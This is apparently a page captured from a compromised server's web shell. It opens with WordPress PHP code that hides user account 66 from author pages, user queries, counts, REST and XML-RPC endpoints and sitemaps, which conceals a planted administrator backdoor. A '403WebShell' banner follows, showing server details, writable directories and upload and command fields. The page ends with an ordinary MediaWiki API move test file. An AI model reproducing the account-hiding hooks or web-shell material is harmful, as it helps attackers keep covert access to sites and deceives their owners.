add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/tests/phpunit/includes/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/tests/phpunit/includes/api/ApiMoveTest.php
<?php

namespace MediaWiki\Tests\Api;

use MediaWiki\Api\ApiUsageException;
use MediaWiki\MainConfigNames;
use MediaWiki\Revision\SlotRecord;
use MediaWiki\Title\Title;
use MediaWiki\User\User;
use Wikimedia\Rdbms\IDBAccessObject;

/**
 * @group API
 * @group Database
 * @group medium
 *
 * @covers \MediaWiki\Api\ApiMove
 */
class ApiMoveTest extends ApiTestCase {

	protected function setUp(): void {
		parent::setUp();

		$this->overrideConfigValue( MainConfigNames::WatchlistExpiry, true );
	}

	/**
	 * @param Title $fromTitle
	 * @param Title $toTitle
	 * @param string $id Page id of the page to move
	 * @param array|string|null $opts Options: 'noredirect' to expect no redirect
	 */
	protected function assertMoved( $fromTitle, $toTitle, $id, $opts = null ) {
		$opts = (array)$opts;

		$this->assertTrue( $toTitle->exists( IDBAccessObject::READ_LATEST ),
			"Destination {$toTitle->getPrefixedText()} does not exist" );

		if ( in_array( 'noredirect', $opts ) ) {
			$this->assertFalse( $fromTitle->exists( IDBAccessObject::READ_LATEST ),
				"Source {$fromTitle->getPrefixedText()} exists" );
		} else {
			$this->assertTrue( $fromTitle->exists( IDBAccessObject::READ_LATEST ),
				"Source {$fromTitle->getPrefixedText()} does not exist" );
			$this->assertTrue( $fromTitle->isRedirect( IDBAccessObject::READ_LATEST ),
				"Source {$fromTitle->getPrefixedText()} is not a redirect" );

			$target = $this->getServiceContainer()
				->getRevisionLookup()
				->getRevisionByTitle( $fromTitle )
				->getContent( SlotRecord::MAIN )
				->getRedirectTarget();
			$this->assertSame( $toTitle->getPrefixedText(), $target->getPrefixedText() );
		}

		$this->assertSame( $id, $toTitle->getArticleID( IDBAccessObject::READ_LATEST ) );
	}

	/**
	 * Shortcut function to create a page and return its id.
	 *
	 * @param Title $name Page to create
	 * @return int ID of created page
	 */
	protected function createPage( $name ) {
		return $this->editPage( $name, 'Content' )->getNewRevision()->getPageId();
	}

	public function testFromWithFromid() {
		$this->expectApiErrorCode( 'invalidparammix' );

		$this->doApiRequestWithToken( [
			'action' => 'move',
			'from' => 'Some page',
			'fromid' => 123,
			'to' => 'Some other page',
		] );
	}

	public function testMove() {
		$title = Title::makeTitle( NS_MAIN, 'TestMove' );
		$title2 = Title::makeTitle( NS_MAIN, 'TestMove 2' );

		$id = $this->createPage( $title );

		$res = $this->doApiRequestWithToken( [
			'action' => 'move',
			'from' => $title->getPrefixedText(),
			'to' => $title2->getPrefixedText(),
		] );

		$this->assertMoved( $title, $title2, $id );
		$this->assertArrayNotHasKey( 'warnings', $res[0] );
	}

	public function testMoveById() {
		$title = Title::makeTitle( NS_MAIN, 'TestMoveById' );
		$title2 = Title::makeTitle( NS_MAIN, 'TestMoveById 2' );

		$id = $this->createPage( $title );

		$res = $this->doApiRequestWithToken( [
			'action' => 'move',
			'fromid' => $id,
			'to' => $title2->getPrefixedText(),
		] );

		$this->assertMoved( $title, $title2, $id );
		$this->assertArrayNotHasKey( 'warnings', $res[0] );
	}

	public function testMoveAndWatch(): void {
		$title = Title::makeTitle( NS_MAIN, 'TestMoveAndWatch' );
		$title2 = Title::makeTitle( NS_MAIN, 'TestMoveAndWatch 2' );
		$this->createPage( $title );

		$this->doApiRequestWithToken( [
			'action' => 'move',
			'from' => $title->getPrefixedText(),
			'to' => $title2->getPrefixedText(),
			'watchlist' => 'watch',
			'watchlistexpiry' => '99990123000000',
		] );

		$user = $this->getTestSysop()->getUser();
		$watchlistManager = $this->getServiceContainer()->getWatchlistManager();
		$this->assertTrue( $watchlistManager->isTempWatched( $user, $title ) );
		$this->assertTrue( $watchlistManager->isTempWatched( $user, $title2 ) );
	}

	public function testMoveWithWatchUnchanged(): void {
		$title = Title::makeTitle( NS_MAIN, 'TestMoveWithWatchUnchanged' );
		$this->createPage( $title );
		$title2 = Title::makeTitle( NS_MAIN, 'TestMoveWithWatchUnchanged 2' );
		$user = $this->getTestSysop()->getUser();

		// Temporarily watch the page.
		$this->doApiRequestWithToken( [
			'action' => 'watch',
			'titles' => $title->getDBkey(),
			'expiry' => '99990123000000',
		] );

		// Fetched stored expiry (maximum duration may override '99990123000000').
		$store = $this->getServiceContainer()->getWatchedItemStore();
		$expiry = $store->getWatchedItem( $user, $title )->getExpiry();

		// Move to new location, without changing the watched state.
		$this->doApiRequestWithToken( [
			'action' => 'move',
			'from' => $title->getDBkey(),
			'to' => $title2->getDBkey(),
		] );

		// New page should have the same expiry.
		$expiry2 = $store->getWatchedItem( $user, $title2 )->getExpiry();
		$this->assertSame( wfTimestamp( TS_MW, $expiry ), $expiry2 );
	}

	public function testMoveNonexistent() {
		$this->expectApiErrorCode( 'missingtitle' );

		$this->doApiRequestWithToken( [
			'action' => 'move',
			'from' => 'Nonexistent page',
			'to' => 'Different page'
		] );
	}

	public function testMoveNonexistentId() {
		$this->expectApiErrorCode( 'nosuchpageid' );

		$this->doApiRequestWithToken( [
			'action' => 'move',
			'fromid' => pow( 2, 31 ) - 1,
			'to' => 'Different page',
		] );
	}

	public function testMoveToInvalidPageName() {
		$this->expectApiErrorCode( 'invalidtitle' );

		$title = Title::makeTitle( NS_MAIN, 'TestMoveToInvalidPageName' );
		$id = $this->createPage( $title );

		try {
			$this->doApiRequestWithToken( [
				'action' => 'move',
				'from' => $title->getPrefixedText(),
				'to' => '[',
			] );
		} finally {
			$this->assertSame( $id, $title->getArticleID( IDBAccessObject::READ_LATEST ) );
		}
	}

	public function testMoveWhileBlocked() {
		$blockStore = $this->getServiceContainer()->getDatabaseBlockStore();
		$this->assertNull( $blockStore->newFromTarget( '127.0.0.1' ) );

		$user = $this->getTestSysop()->getUser();
		$blockStore->insertBlockWithParams( [
			'address' => $user->getName(),
			'by' => $user,
			'reason' => 'Capriciousness',
			'timestamp' => '19370101000000',
			'expiry' => 'infinity',
			'enableAutoblock' => true,
		] );

		$title = Title::makeTitle( NS_MAIN, 'TestMoveWhileBlocked' );
		$title2 = Title::makeTitle( NS_MAIN, 'TestMoveWhileBlocked 2' );
		$id = $this->createPage( $title );

		try {
			$this->doApiRequestWithToken( [
				'action' => 'move',
				'from' => $title->getPrefixedText(),
				'to' => $title2->getPrefixedText(),
			] );
			$this->fail( 'Expected exception not thrown' );
		} catch ( ApiUsageException $ex ) {
			$this->assertApiErrorCode( 'blocked', $ex );
			$this->assertNotNull( $blockStore->newFromTarget( '127.0.0.1' ), 'Autoblock spread' );
			$this->assertSame( $id, $title->getArticleID( IDBAccessObject::READ_LATEST ) );
		}
	}

	// @todo File moving

	public function testRateLimit() {
		$name1 = 'TestPingLimiter 1';
		$name2 = 'TestPingLimiter 2';
		$name3 = 'TestPingLimiter 3';

		$title1 = Title::makeTitle( NS_MAIN, $name1 );
		$title2 = Title::makeTitle( NS_MAIN, $name2 );

		$this->overrideConfigValue( MainConfigNames::RateLimits,
			[ 'move' => [ '&can-bypass' => false, 'user' => [ 1, 60 ] ] ]
		);

		$id = $this->createPage( $title1 );
		$res = $this->doApiRequestWithToken( [
			'action' => 'move',
			'from' => $name1,
			'to' => $name2,
		] );
		$this->assertMoved( $title1, $title2, $id );
		$this->assertArrayNotHasKey( 'warnings', $res[0] );

		try {
			$this->doApiRequestWithToken( [
				'action' => 'move',
				'from' => $name2,
				'to' => $name3,
			] );

			$this->fail( 'Rate limit was expected to trigger an exception' );
		} catch ( ApiUsageException $ex ) {
			$this->assertStatusError( 'apierror-ratelimited', $ex->getStatusValue() );
		} finally {
			$title3 = Title::makeTitle( NS_MAIN, $name3 );
			$this->assertSame( $id, $title2->getArticleID( IDBAccessObject::READ_LATEST ) );
			$this->assertFalse( $title3->exists( IDBAccessObject::READ_LATEST ),
				"\"{$title3->getPrefixedText()}\" should not exist" );
		}
	}

	public function testTagsNoPermission() {
		$this->expectApiErrorCode( 'tags-apply-no-permission' );

		$title = Title::makeTitle( NS_MAIN, 'TestTagsNoPermission' );
		$title2 = Title::makeTitle( NS_MAIN, 'TestTagsNoPermission 2' );

		$this->getServiceContainer()->getChangeTagsStore()->defineTag( 'custom tag' );

		$this->setGroupPermissions( 'user', 'applychangetags', false );

		$id = $this->createPage( $title );

		try {
			$this->doApiRequestWithToken( [
				'action' => 'move',
				'from' => $title->getPrefixedText(),
				'to' => $title2->getPrefixedText(),
				'tags' => 'custom tag',
			] );
		} finally {
			$this->assertSame( $id, $title->getArticleID( IDBAccessObject::READ_LATEST ) );
			$this->assertFalse( $title2->exists( IDBAccessObject::READ_LATEST ),
				"\"{$title2->getPrefixedText()}\" should not exist" );
		}
	}

	public function testSelfMove() {
		$this->expectApiErrorCode( 'selfmove' );

		$title = Title::makeTitle( NS_MAIN, 'TestSelfMove' );
		$this->createPage( $title );

		$this->doApiRequestWithToken( [
			'action' => 'move',
			'from' => $title->getPrefixedText(),
			'to' => $title->getPrefixedText(),
		] );
	}

	public function testMoveTalk() {
		$title = Title::makeTitle( NS_MAIN, 'TestMoveTalk' );
		$title2 = Title::makeTitle( NS_MAIN, 'TestMoveTalk 2' );
		$talkTitle = $title->getTalkPageIfDefined();
		$talkTitle2 = $title2->getTalkPageIfDefined();

		$id = $this->createPage( $title );
		$talkId = $this->createPage( $talkTitle );

		$res = $this->doApiRequestWithToken( [
			'action' => 'move',
			'from' => $title->getPrefixedText(),
			'to' => $title2->getPrefixedText(),
			'movetalk' => '',
		] );

		$this->assertMoved( $title, $title2, $id );
		$this->assertMoved( $talkTitle, $talkTitle2, $talkId );

		$this->assertArrayNotHasKey( 'warnings', $res[0] );
	}

	public function testMoveTalkFailed() {
		$title = Title::makeTitle( NS_MAIN, 'TestMoveTalkFailed' );
		$title2 = Title::makeTitle( NS_MAIN, 'TestMoveTalkFailed 2' );
		$talkTitle = $title->getTalkPageIfDefined();
		$talkDestinationTitle = $title2->getTalkPageIfDefined();

		$id = $this->createPage( $title );
		$talkId = $this->createPage( $talkTitle );
		$talkDestinationId = $this->createPage( $talkDestinationTitle );

		$res = $this->doApiRequestWithToken( [
			'action' => 'move',
			'from' => $title->getPrefixedText(),
			'to' => $title2->getPrefixedText(),
			'movetalk' => '',
		] );

		$this->assertMoved( $title, $title2, $id );
		$this->assertSame( $talkId, $talkTitle->getArticleID( IDBAccessObject::READ_LATEST ) );
		$this->assertSame( $talkDestinationId,
			$talkDestinationTitle->getArticleID( IDBAccessObject::READ_LATEST ) );
		$this->assertSame( [ [
			'message' => 'articleexists',
			'params' => [ $talkDestinationTitle->getPrefixedText() ],
			'code' => 'articleexists',
			'type' => 'error',
		] ], $res[0]['move']['talkmove-errors'] );

		$this->assertArrayNotHasKey( 'warnings', $res[0] );
	}

	public function testMoveSubpages() {
		$title = Title::makeTitle( NS_MAIN, 'TestMoveSubpages' );
		$title2 = Title::makeTitle( NS_MAIN, 'TestMoveSubpages 2' );

		$this->mergeMwGlobalArrayValue( 'wgNamespacesWithSubpages', [ NS_MAIN => true ] );

		$titleError = Title::makeTitle( NS_MAIN, 'TestMoveSubpages/error' );
		$idError = $this->createPage( $titleError );
		$title2Error = Title::makeTitle( NS_MAIN, 'TestMoveSubpages 2/error' );
		$id2Error = $this->createPage( $title2Error );

		$titles = [
			[ $title, $title2 ],
			[ $title->getTalkPageIfDefined(), $title2->getTalkPageIfDefined() ],
			[ Title::makeTitle( NS_MAIN, 'TestMoveSubpages/1' ), Title::makeTitle( NS_MAIN, 'TestMoveSubpages 2/1' ) ],
			[ Title::makeTitle( NS_MAIN, 'TestMoveSubpages/2' ), Title::makeTitle( NS_MAIN, 'TestMoveSubpages 2/2' ) ],
			[ Title::makeTitle( NS_TALK, 'TestMoveSubpages/1' ), Title::makeTitle( NS_TALK, 'TestMoveSubpages 2/1' ) ],
			[ Title::makeTitle( NS_TALK, 'TestMoveSubpages/3' ), Title::makeTitle( NS_TALK, 'TestMoveSubpages 2/3' ) ],
		];
		$ids = [];
		$mapTitles = [];
		foreach ( $titles as [ $from, $to ] ) {
			$ids[$from->getPrefixedText()] = $this->createPage( $from );
			$mapTitles[$from->getPrefixedText()] = $to->getPrefixedText();
		}

		$res = $this->doApiRequestWithToken( [
			'action' => 'move',
			'from' => $title->getPrefixedText(),
			'to' => $title2->getPrefixedText(),
			'movetalk' => '',
			'movesubpages' => '',
		] );

		foreach ( $titles as [ $from, $to ] ) {
			$this->assertMoved( $from, $to, $ids[$from->getPrefixedText()] );
		}

		$this->assertSame( $idError, $titleError->getArticleID( IDBAccessObject::READ_LATEST ) );
		$this->assertSame( $id2Error, $title2Error->getArticleID( IDBAccessObject::READ_LATEST ) );

		$results = array_merge( $res[0]['move']['subpages'], $res[0]['move']['subpages-talk'] );
		foreach ( $results as $arr ) {
			if ( $arr['from'] === $titleError->getPrefixedText() ) {
				$this->assertSame( [ [
					'message' => 'articleexists',
					'params' => [ $title2Error->getPrefixedText() ],
					'code' => 'articleexists',
					'type' => 'error'
				] ], $arr['errors'] );
			} else {
				$this->assertSame( $mapTitles[$arr['from']], $arr['to'] );
			}
			$this->assertCount( 2, $arr );
		}

		$this->assertArrayNotHasKey( 'warnings', $res[0] );
	}

	public function testMoveNoPermission() {
		$title = Title::makeTitle( NS_MAIN, 'TestMoveNoPermission' );
		$title2 = Title::makeTitle( NS_MAIN, 'TestMoveNoPermission 2' );

		$id = $this->createPage( $title );

		$user = new User();

		try {
			$this->doApiRequestWithToken( [
				'action' => 'move',
				'from' => $title->getPrefixedText(),
				'to' => $title2->getPrefixedText(),
			], null, $user );
		} catch ( ApiUsageException $ex ) {
			// This one has two errors! So weird
			$this->assertTrue( ApiTestCase::apiExceptionHasCode( $ex, 'cantmove-anon' ) );
			$this->assertTrue( ApiTestCase::apiExceptionHasCode( $ex, 'cantmove' ) );
		} finally {
			$this->assertSame( $id, $title->getArticleID( IDBAccessObject::READ_LATEST ) );
			$this->assertFalse( $title2->exists( IDBAccessObject::READ_LATEST ),
				"\"{$title2->getPrefixedText()}\" should not exist" );
		}
	}

	public function testSuppressRedirect() {
		$title = Title::makeTitle( NS_MAIN, 'TestSuppressRedirect' );
		$title2 = Title::makeTitle( NS_MAIN, 'TestSuppressRedirect 2' );

		$id = $this->createPage( $title );

		$res = $this->doApiRequestWithToken( [
			'action' => 'move',
			'from' => $title->getPrefixedText(),
			'to' => $title2->getPrefixedText(),
			'noredirect' => '',
		] );

		$this->assertMoved( $title, $title2, $id, 'noredirect' );
		$this->assertArrayNotHasKey( 'warnings', $res[0] );
	}

	public function testSuppressRedirectNoPermission() {
		$title = Title::makeTitle( NS_MAIN, 'TestSuppressRedirectNoPermission' );
		$title2 = Title::makeTitle( NS_MAIN, 'TestSuppressRedirectNoPermission 2' );

		$this->setGroupPermissions( 'sysop', 'suppressredirect', false );
		$id = $this->createPage( $title );

		$res = $this->doApiRequestWithToken( [
			'action' => 'move',
			'from' => $title->getPrefixedText(),
			'to' => $title2->getPrefixedText(),
			'noredirect' => '',
		] );

		$this->assertMoved( $title, $title2, $id );
		$this->assertArrayNotHasKey( 'warnings', $res[0] );
	}

	public function testMoveSubpagesError() {
		$title = Title::makeTitle( NS_MAIN, 'TestMoveSubpagesError' );
		$titleBase = $title->getTalkPageIfDefined();
		$titleSub = Title::makeTitle( NS_MAIN, 'TestMoveSubpagesError/1' );
		$talkTitleSub = $titleSub->getTalkPageIfDefined();

		// Subpages are allowed in talk but not main
		$idBase = $this->createPage( $titleBase );
		$idSub = $this->createPage( $talkTitleSub );

		$res = $this->doApiRequestWithToken( [
			'action' => 'move',
			'from' => $titleBase->getPrefixedText(),
			'to' => $title->getPrefixedText(),
			'movesubpages' => '',
		] );

		$this->assertMoved( $titleBase, $title, $idBase );
		$this->assertSame( $idSub, $talkTitleSub->getArticleID( IDBAccessObject::READ_LATEST ) );
		$this->assertFalse( $titleSub->exists( IDBAccessObject::READ_LATEST ),
			"\"{$titleSub->getPrefixedText()}\" should not exist" );

		$this->assertSame( [ 'errors' => [ [
			'message' => 'namespace-nosubpages',
			'params' => [ '' ],
			'code' => 'namespace-nosubpages',
			'type' => 'error',
		] ] ], $res[0]['move']['subpages'] );

		$this->assertArrayNotHasKey( 'warnings', $res[0] );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit